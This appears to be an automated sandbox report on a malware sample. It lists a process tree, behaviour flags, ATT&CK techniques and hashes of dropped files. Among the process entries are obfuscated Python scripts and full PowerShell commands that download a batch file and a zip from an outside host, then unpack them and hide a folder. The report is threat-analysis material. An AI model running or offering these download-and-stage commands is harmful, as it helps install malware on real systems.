- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
PID:1300

C:\Users\Admin\Downloads\Python\Python312\python.exe
python.exe 0005-obf.py
4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
PID:4528

C:\Users\Admin\Downloads\Python\Python312\python.exe
python.exe 0006-obf.py
4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
PID:1480

C:\Users\Admin\Downloads\Python\Python312\python.exe
python.exe 0007-obf.py
4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
PID:4948

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://trackmyshipmng.site:9396/startupppp.bat' -OutFile 'C:\Users\Admin\Downloads\startupppp.bat' }"
4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4624

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://trackmyshipmng.site:9396/F7BS.zip' -OutFile 'C:\Users\Admin\Downloads\F7BS.zip' }"
4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1444

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "& { Expand-Archive -Path 'C:\Users\Admin\Downloads\F7BS.zip' -DestinationPath 'C:\Users\Admin\Downloads' -Force }"
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2276

C:\Windows\system32\attrib.exe
attrib +h "C:\Users\Admin\Downloads\Print"
4⤵
- Views/modifies file attributes
PID:3064

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2020,16396207100945392174,11810437951115774287,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6248 /prefetch:8
3⤵
PID:3440

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2020,16396207100945392174,11810437951115774287,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6248 /prefetch:8
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:4620

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2020,16396207100945392174,11810437951115774287,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5020 /prefetch:1
3⤵
PID:4636

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2020,16396207100945392174,11810437951115774287,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4948 /prefetch:1
3⤵
PID:5044

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2020,16396207100945392174,11810437951115774287,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6308 /prefetch:1
3⤵
PID:4712

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2020,16396207100945392174,11810437951115774287,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3436 /prefetch:1
3⤵
PID:876

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2020,16396207100945392174,11810437951115774287,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1356 /prefetch:2
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:3836

C:\Windows\System32\notepad.exe
C:\Windows\System32\notepad.exe
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:5104

C:\Windows\System32\notepad.exe
C:\Windows\System32\notepad.exe
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:180

C:\Windows\System32\notepad.exe
C:\Windows\System32\notepad.exe
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3312

C:\Windows\System32\notepad.exe
C:\Windows\System32\notepad.exe
2⤵
PID:4636

C:\Windows\System32\notepad.exe
C:\Windows\System32\notepad.exe
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:3748

C:\Windows\System32\notepad.exe
C:\Windows\System32\notepad.exe
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4332

C:\Windows\System32\notepad.exe
C:\Windows\System32\notepad.exe
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4768

C:\Windows\system32\mmc.exe
"C:\Windows\system32\mmc.exe" "C:\Windows\system32\services.msc"
2⤵
- Drops file in System32 directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2940

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1820

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:708

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4672

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
dc058ebc0f8181946a312f0be99ed79c

SHA1
0c6f376ed8f2d4c275336048c7c9ef9edf18bff0

SHA256
378701e87dcff90aa092702bc299859d6ae8f7e313f773bf594f81df6f40bf6a

SHA512
36e0de64a554762b28045baebf9f71930c59d608f8d05c5faf8906d62eaf83f6d856ef1d1b38110e512fbb1a85d3e2310be11a7f679c6b5b3c62313cc7af52aa

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
a0486d6f8406d852dd805b66ff467692

SHA1
77ba1f63142e86b21c951b808f4bc5d8ed89b571

SHA256
c0745fd195f3a51b27e4d35a626378a62935dccebefb94db404166befd68b2be

SHA512
065a62032eb799fade5fe75f390e7ab3c9442d74cb8b520d846662d144433f39b9186b3ef3db3480cd1d1d655d8f0630855ed5d6e85cf157a40c38a19375ed8a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
225B

MD5
67cb9dee34f1d0b7d201f3e1ccabcde0

SHA1
c629f00f3b7f703428e6397359d5e4d64d6c1d1b

SHA256
bbcca1d16badbf7cd5f9eb71075d3d8ac54af6214ca322043289ea64a47b4b12

SHA512
1d36b11c896b618e5f92c5f8d1abb86aa0ccc39874164ef274dc8afe3c21041545327c2f091d20d95f1fafd3b55a10f84f9eab48b2e338a0bf2bf49605f9e549

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
88ebf6724ab98120d38aeabe6f6d8c5a

SHA1
a209ec5106eb7a400001ca330c94a0b5e4370eb5

SHA256
6a97c81cbb361bed0a17713e2700286a8b4e062841481adad75440d01e9270c3

SHA512
2df9ccd861884a3753dae92d2ad3ce4d20708e332c6d8dd9a884473ee5e8fec0531b12d53cc6c0f867a47a44d2723fde4cf89418345ffd5f131ae4c7ae0383d6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
318c39d8911de08397971ffaf2f16f62

SHA1
d906048ad4a9a1c392f9d46be229cf1eecbb014e

SHA256
eea188f684dd59ecfcdce7ddfa3b4a9e48adc94b4d81c2481ee6da9f123cae15

SHA512
da1c83e64dc01bb9298ffc694b863c24f3d8934dbe91fe6dfeff07633194620256ff5f8aef35aa3b0401afdd1e49f07297bfbdcfa205e2efb061197547269123

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
86d849bd20ca085fb6e48eafe2e02154

SHA1
fc2f6e6a84ba5244f31d638fa37a362b928b78a5

SHA256
8cbc43346e31fff5edc1defc7cb7914e13a03947cbfbab48f0735d354936cefa

SHA512
4f28fb40b140d2999d986a5e3ee70c8a94ccb54a31957811df5f82a79e18c33404955d1b5038d8ccdef9533dffe3e6fde28f9622f5b6b0d911f66ecd7d648e46

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
7KB

MD5
bba6f0e30b1f0c3ed965ab11f467f38b

SHA1
48649e728e64e87f24e19fe4afec710cc6459424

SHA256
cdf59079cb860475a885e428eb16b3a739312fd204413e0587f0722de724e99f

SHA512
fa68192439c3ef1ddd18ee994b74224d6c388ec1de8771bc743a30d91e9f7516d00f1f364cba1fb224083dd351c93742e0fc4911934f45d2cf55ef65b6923d56

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
a0bb2a92ddf7146ea409106e4360bf57

SHA1
bd409c965954207c7ea70e49fe843779af4e382f

SHA256
cb542bedbe83e5329ab11f29d33fe0d7b00b2b623834d62e9f6e062524dda79d

SHA512
1d57701a98f65f7121dac4d372167d7f454c540be628515e0574c4595ebb1c2b2146b7fd4ab5d8a8045a06c46d12563fbff2a68df9e0cc722f6aa33b99a83b8c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
1436c489e34c2d9e1315f8cb89b78577

SHA1
4fd30de8e9b67c6a5f911a6f78e2bde848be9445

SHA256
e4dc6f6a12808efa7e61c8f1d6154753a5eddafdc05bfa027f0d97e81612cf18

SHA512
dbd671804395d23ab1d2d16f81458f08533076811ae69dccc6340d6e639ae99859ab6c39b202e21224d1818b3f31a7079d51ce8095f88e7d91b54ce850df5d49

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
c4b89ae7eeb8bce662d21fc5832069d5

SHA1
aaf02dfc9a50dd62f76869a34def71d7b07af3ab

SHA256
3ff788b8705ecc8f410c6e7e43d4522b9c0efea9369fafbab0f8aa4bde66b579

SHA512
fe32961224db7cc6f74fbb95a12b0a763baa129b7d906ae33691d10ee66949708f3cf98c78bfaa1e170078561efe9aba673a4e40b9d282d429a821486bda6a80

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
6ba21e84eab804f00026056b2853813f

SHA1
05eceb2e70b1338313df069ed03729a78e296203

SHA256
9d58f87cc663fd1ae13d7491bf18ebdcf27b707fc5f40b92301a406a46148c83

SHA512
a37de3b40d606cb04de1c0e2ec9004d205354d31b2e5b0879d276ba438399e222cf6d6f565af9e2b8dea883c8076a618b35e02a5c340e89024e324934921f0e2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
0025f9c01298b272653fbc86ffb959f6

SHA1
772026bb6926733defa4dd34b38d6ee3c737d0ba

SHA256
87536af0da18852d40dbc71a2a7a631b3d9f7879f96467118f085c4c88e6f40f

SHA512
96e556e27107b1eb5fcbd664b0561e37f88fe67dcc253407a2e6541b47810a28b426f4e821d3c4256864ec0a47dfceb9e75bf5a44ef7297361e38d999022d043

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
08f9f3eb63ff567d1ee2a25e9bbf18f0

SHA1
6bf06056d1bb14c183490caf950e29ac9d73643a

SHA256
82147660dc8d3259f87906470e055ae572c1681201f74989b08789298511e5f0

SHA512
425a4a8babbc11664d9bac3232b42c45ce8430b3f0b2ae3d9c8e12ad665cd4b4cbae98280084ee77cf463b852309d02ca43e5742a46c842c6b00431fc047d512

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uqmxgnv4.sh3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\Downloads\DX1.zip

Filesize
46.3MB

MD5
fc6e74e8607e420af19db54d6c193c31

SHA1
e228a92d4794237f6473e677f5d9abfe1ddc551e

SHA256
20272cc578bc138a500cfe33980707502d0b60a548594e43e39abc3decd3d28c

SHA512
de0b3313f34841bd37dad35bc4a0a675d3eccb480d7fd5adc5ace7a8d97915add073b8a457fdcf2a327cc283b75ba61b980f721f2501c3264880d4ae15e39460

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Doc\html\NEWS

Filesize
1.6MB

MD5
3a2f081757c87fe3f9745f2e857755fa

SHA1
0d49e71b9e0ffaa4f4dc8dcb45a95baa664038e7

SHA256
a15b65d338884ef6b8b99ea300405a293dfec362610e79b8d19755112624210e

SHA512
21f9968546c590d9f8a87333345f6086725905ba2724e5ca5f8f8e1165c20703906fda8e1d0bf59517abe8b166b80f47380e70bb535713a1e7e313b673f21fbd

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Lib\__phello__\__init__.py

Filesize
104B

MD5
d577c4cfec75304f5f339da0e128db83

SHA1
9542419ca9315d30602f4fe9c9c95d0a2f72bc4f

SHA256
b9ba5f17a049779747dbc8b17fa318fab67875be829994ed437c81d0666a88dc

SHA512
84720ac8d037b6fd51b08f63019f17f1b212069d3bf53c18fecaff4c8fac0c6bce4f73617a7c63fa9a8fd2ba32ba56c11c0a88484aa5e113f33ca768d6ef7bfe

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Lib\concurrent\__init__.py

Filesize
39B

MD5
f8259102dfc36d919a899cdb8fde48ce

SHA1
4510c766809835dab814c25c2223009eb33e633a

SHA256
52069aeefb58dad898781d8bde183ffda18faae11f17ace8ce83368cab863fb1

SHA512
a77c8a67c95d49e353f903e3bd394e343c0dfa633dcffbfd7c1b34d5e1bdfb9a372ece71360812e44c5c5badfa0fc81387a6f65f96616d6307083c2b3bb0213f

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Lib\lib2to3\fixes\__init__.py

Filesize
48B

MD5
3d02598f327c3159a8be45fd28daac9b

SHA1
78bd4ccb31f7984b68a96a9f2d0d78c27857b091

SHA256
b36ae7da13e8cafa693b64b57c6afc4511da2f9bbc10d0ac03667fca0f288214

SHA512
c59c5b77a0cf85bb9fbf46f9541c399a9f739f84828c311ced6e270854ecce86d266e4c8d5aa07897b48ce995c3da29fea994e8cd017d48e5a4fab7a6b65e903

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Lib\site-packages\pip-24.0.dist-info\INSTALLER

Filesize
4B

MD5
365c9bfeb7d89244f2ce01c1de44cb85

SHA1
d7a03141d5d6b1e88b6b59ef08b6681df212c599

SHA256
ceebae7b8927a3227e5303cf5e0f1f7b34bb542ad7250ac03fbcde36ec2f1508

SHA512
d220d322a4053d84130567d626a9f7bb2fb8f0b854da1621f001826dc61b0ed6d3f91793627e6f0ac2ac27aea2b986b6a7a63427f05fe004d8a2adfbdadc13c1

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Lib\test\audiotest.au

Filesize
27KB

MD5
2d3d86aedec6b204f70cee1e483d3e14

SHA1
0bb29f5835dbf25b09e98271205a5b0e3b499ac3

SHA256
bb24009573f88b990c922fdc65adddec1312e30373dc635c6099912d4f836a41

SHA512
4981b870b89ab02309d9b5a4acdadd1f145baaacb5f23d0575ba2c62f10bbfe2343c1178456270ad5d9f22f9528e846928d014c14146ec100b8bfeb07cb3f29a

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Lib\test\certdata\capath\4e1295a3.0

Filesize
828B

MD5
73e784827cc9c81f8ca3fbd372984afd

SHA1
d1553f1e3c103bb429e3af0c2211414fc1d16d4b

SHA256
11772d99be4b8d343c1299eb2f332f0612c290643543708d860bf81c25cfb5c9

SHA512
f8a52854ccdbe535be524aa67a9ba7d793244ba431b2a73cd39b8e5fb925fb09347bdd5333716e44a02e2b814d0f15156992ecc0a1bbb1c89c6e1d5ec18990b3

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Lib\test\certdata\capath\5ed36f99.0

Filesize
2KB

MD5
3fe5f823824bedd9fe3176e58db69fa4

SHA1
807cc9ffa5fe60115bf9df8a086f5cb1199b0a19

SHA256
9c6a82a2d3c4c374fcc2e78d3eda445ebce74d3a7a4d84fc447739df91cb1f0c

SHA512
03f0684a8ad2545add75637562655dfa3c89d06159d607df6e2efac2c446a95bd9cb0437f1c195a75b2e438d7e7812f4f85fbf136e45402947298a1e3fb3506a

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Lib\test\certdata\capath\b1930218.0

Filesize
1KB

MD5
6688a112dc263017affbadeb4b4e4fb4

SHA1
4567ed723977e15d26da815c51046db208c068a0

SHA256
5d35cb81810204013d7fffeb0d01092f9243f994aabfebd017a1d3c217b15693

SHA512
90e5f78f3cd4a0c97331cf66eb4a94115f3cad878eb351d05bc6a8f38dfd8bf18b9a62d5b953d3d4fc36f240db85656e5070bea807967961c365f5ff4ccd6a82

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Lib\test\cjkencodings\cp949-utf8.txt

Filesize
478B

MD5
4ad57dc71cd0710481e757484c6d1197

SHA1
44cffb5117f62e0697f27f9d2537de3108749df4

SHA256
175e984c0c7bd073f037b0aaa6df4d8aadacb6f1b8898484a567b5e70f5a5837

SHA512
4a2f934f6f907cd2b3c70e3614684460f253e29ce554a418cdc53555feb26252607283d4d5c27221cc8205d002febf4c73b49d5ac0c6b7376e5dade72e9fc9ee

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Lib\test\cjkencodings\euc_jisx0213-utf8.txt

Filesize
1KB

MD5
856e0cebae566258f572e27aedcbf34d

SHA1
9c4e3bafcc4a0c146d4bf21dd126484bb454e789

SHA256
21cb011018b58c87f2c824e08085d24f9379244bcde6fbb6b46da2f6431540c7

SHA512
21e996c6470367d7a74e6cf96b0105ddd93fda0c20fa4053842c3504f582c83688caf04fb64f7fa0e28378d894d29a7b1a39b8bfa7869f710fcc804a6231b3b8

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Lib\test\imghdrdata\python.bmp

Filesize
1KB

MD5
e3a1f317b1a275e5d5f1b4b0ff04ee01

SHA1
8f37f2c3b3c5b5fd2da41ddcc59ad1b6c29b9bf0

SHA256
410c26b109ce9d32d35c0e4bc6dc92a7579910ce706939a056323de5801a7a87

SHA512
31e83c2bdbd86b038ba0e8ebf02947ddaef002033c760e16ea868c7a673257686d89e328017cbbc8915d31f62fb5149aa0569437525dff8325dd4a8499d718b7

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Lib\test\imghdrdata\python.exr

Filesize
2KB

MD5
30ffa52a5a358b289c249e1e2d2fa666

SHA1
d07051ed146c1910dbe5d0de8a08d86031390edb

SHA256
abcfa16526dd3d1f31954f88813928de507f4bf2911f30d08ff756d8b46baee5

SHA512
9ffbef0197305e9f1df486af25b743ae0ae5cdc7e198ce8bd45f62e87acbbc4c431fd9944f7dd04103461df392a22c1df43a0e49644adeff2822c1e43b71a43c

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Lib\test\imghdrdata\python.gif

Filesize
405B

MD5
bb6db723ceadf8ce03d5ad234f9d7273

SHA1
46537a3e2b3764d35e4bff0c951fa87adc17fb83

SHA256
4fce1d82a5a062eaff3ba90478641f671ce5da6f6ba7bdf49029df9eefca2f87

SHA512
bd07b17fb373bea74b9af28e504c6d66c897978e071404e7d04a7bc1a0843e0d7ca5689fc7215e15a9721757889bc75ed920ca72f17810922ae99d62c65c831c

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Lib\test\imghdrdata\python.jpg

Filesize
543B

MD5
50e9104383c3f36fa9e9be6148e6fdf3

SHA1
9b19331a00f83f12fdc2feba2eb401f9732f8d44

SHA256
0171178ae901e108f56305aff7e36268a690bc49933a24b1aaa587fda00f4d3b

SHA512
c6c940a0e60c1d5c75398592f61da3c874e3bc2b5b7ff328d83de8c8352a4e1e3959954e67049a5c3d6a609af97e39d0e0d16b5a4463328bbc436b8e2926e5d0

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Lib\test\imghdrdata\python.pbm

Filesize
41B

MD5
4128214992ffcd16a57fd47c73558b58

SHA1
d8a65c33c1df14930651e1b34b9349b6b179205a

SHA256
7151dc8ebdca81804c959266b14122bf74e62cab773dd8e2f37b379aac105266

SHA512
1c2a56f82742d9f0d8976183ca130454d6e472524a12eb38c4106eaa5bffdb3bf7de3eb31908fea096fb6017c87dd82097bbbd1b17c0ae484ee52a0e192b9590

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Lib\test\imghdrdata\python.pgm

Filesize
269B

MD5
18ceaa0a28ec83628b429486f6a6a437

SHA1
1c1c30720dd823863542845395c5a4699a19a060

SHA256
3c27b4cdc7089ddb410ddb81a5ccf42662972e07dfc44fc429d3056af6dd128e

SHA512
1e904378aa240af975fd6ce75b7bf8366105972f257457d317f1ea2e40cab7d1d52ddd95e9d020f50ee5ab298b3b6a0f73f43270155b33ad5bed6d358bac9262

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Lib\test\imghdrdata\python.png

Filesize
1020B

MD5
91f80d44b0a786e5b0b3049ad61159fa

SHA1
e2fa9ade66052b6c706dec73bae2b44969232ad6

SHA256
480ac039362a15a7738ba76dffe807fd03fa29f7edaa8eb21ca0057c44a1ee8c

SHA512
c73fc0baebc8974e4ad152c81a784aa8ac434d387040c19d75d1cb9e8417e89b6af07b01b88004f9ced6c1feaf8994a04ee926769ee01757932f25b0a834ac30

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Lib\test\imghdrdata\python.ppm

Filesize
781B

MD5
a2b32811bb48fbf84e6a4ffa90b6a81c

SHA1
df8515c83469e5f728331f20eb6264953fbc40c7

SHA256
a7f21a2c5226b7d35ccac23780ae535921353b54bf7d7e61f1ad9b021167ba6c

SHA512
a49d7738997b62be088a09cdcf86d9e1fa12dd531c1a880eb519664daf87be581777843a02f15b35d731d1e0f58077ee5630235c71e2a11cebeb337b6528e0a9

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Lib\test\imghdrdata\python.ras

Filesize
1KB

MD5
8c0f739219341ffae245b5ae0a63710f

SHA1
ee63733bbfac51ed6c2ed2dab2a250faf25f36af

SHA256
10e37c432b4b93a7d257fbb890636fa7f6f376321cca47d5919ea5b6adc75d38

SHA512
5c4db61b091375d87001a600c282285f0e66fcdd4e99c5bbe03a8e7ec0b898abae777454491e7d9f9da5fe9bd56b6e5d5d5e0c8e142f629780fb3a399b3f4add

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Lib\test\imghdrdata\python.sgi

Filesize
1KB

MD5
11e019f5073be9f31a95f34929fec4e2

SHA1
baa350987e3f3b936db33abc6ddfae0762d4c449

SHA256
58ba5f2c20d320c3f5390ff9778e03d341957bd37c5d3cf0c3327976979f2e01

SHA512
c9b006d3c76358aabf2636f73cdb1d6d56e8f09d4a9817fb80386cd71228e8c93f570f00798870a9ebcc15aae625923c7405fc6827928579f4f44a661e9ef6b7

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Lib\test\imghdrdata\python.tiff

Filesize
1KB

MD5
d8580e24bfb05ec687436beb33838368

SHA1
99eefffec67780cc34ce21ea7c5b5b3073719011

SHA256
f19a80d1c7d5d758dcea82276e73150454212a5136b19c5fc2727786132ddafd

SHA512
de4c92d0a4f9747b13e9f0c2c1d88e8d8d2151cbe693651e248b72cee43bacf13f0968db9a6d8f2abb2a1c74b4fb5ebc0358651586d4e66da3dc02e63e5afc7c

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Lib\test\imghdrdata\python.webp

Filesize
432B

MD5
d4d9cee903091f613295efe4b5935689

SHA1
152fb2d413cee0e7c560351c904c2b1a1bb2380a

SHA256
d87f8d1367c93897805ee274c0e53ddbb0a46525aadb7dd32756fb85ad74e8b0

SHA512
67032fb0cce8001db79462bbe9653db4a80605b72077aaee9a2db85c0af6a223d2f452185112420afdf5922358aa07eda410c791efcf247201354816fb014011

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Lib\test\imghdrdata\python.xbm

Filesize
288B

MD5
e6d79a573ec495b479a2c6e4f77f134b

SHA1
06f1b0de642132260c8067744cd6dd119c1a5ed2

SHA256
e7ff41947d7400cbe040e622d9ba92c40127355ffd96f182a54b8a80118e7c0b

SHA512
604179f7be08029ade027b2883983d8b524c0db9713a0646e007f608765db3d58c14e9be74c43e494b5462cca5c47494c06943ef04e82c129d1acad293c66e6b

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Lib\test\sndhdrdata\sndhdr.aifc

Filesize
106B

MD5
a8a96fc714afadc15f870716186876f4

SHA1
21586b8440f26424f1b8ab66c338664f010c3cb7

SHA256
884528c663a2c5bc5977c54655699389e6d31420d0e79ac6fccac835ee0b167e

SHA512
ec64e6cca3f45438087c6e4c02a16218b17bd5c38e48c68d30c42d334607c8eaa188263eae56bb452244673d3bac75632f625b22f1862bf7e2b0a2585b17dc2a

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Lib\test\sndhdrdata\sndhdr.aiff

Filesize
108B

MD5
3d4d023133dc4e66488dd5fd8d972124

SHA1
f93f56d42e08ad7e80b6fbe7aa1c76b8b994de3f

SHA256
3636198f2e61362121c9f7adfbde802883c99e6b23977e4e0bbbbd042b307421

SHA512
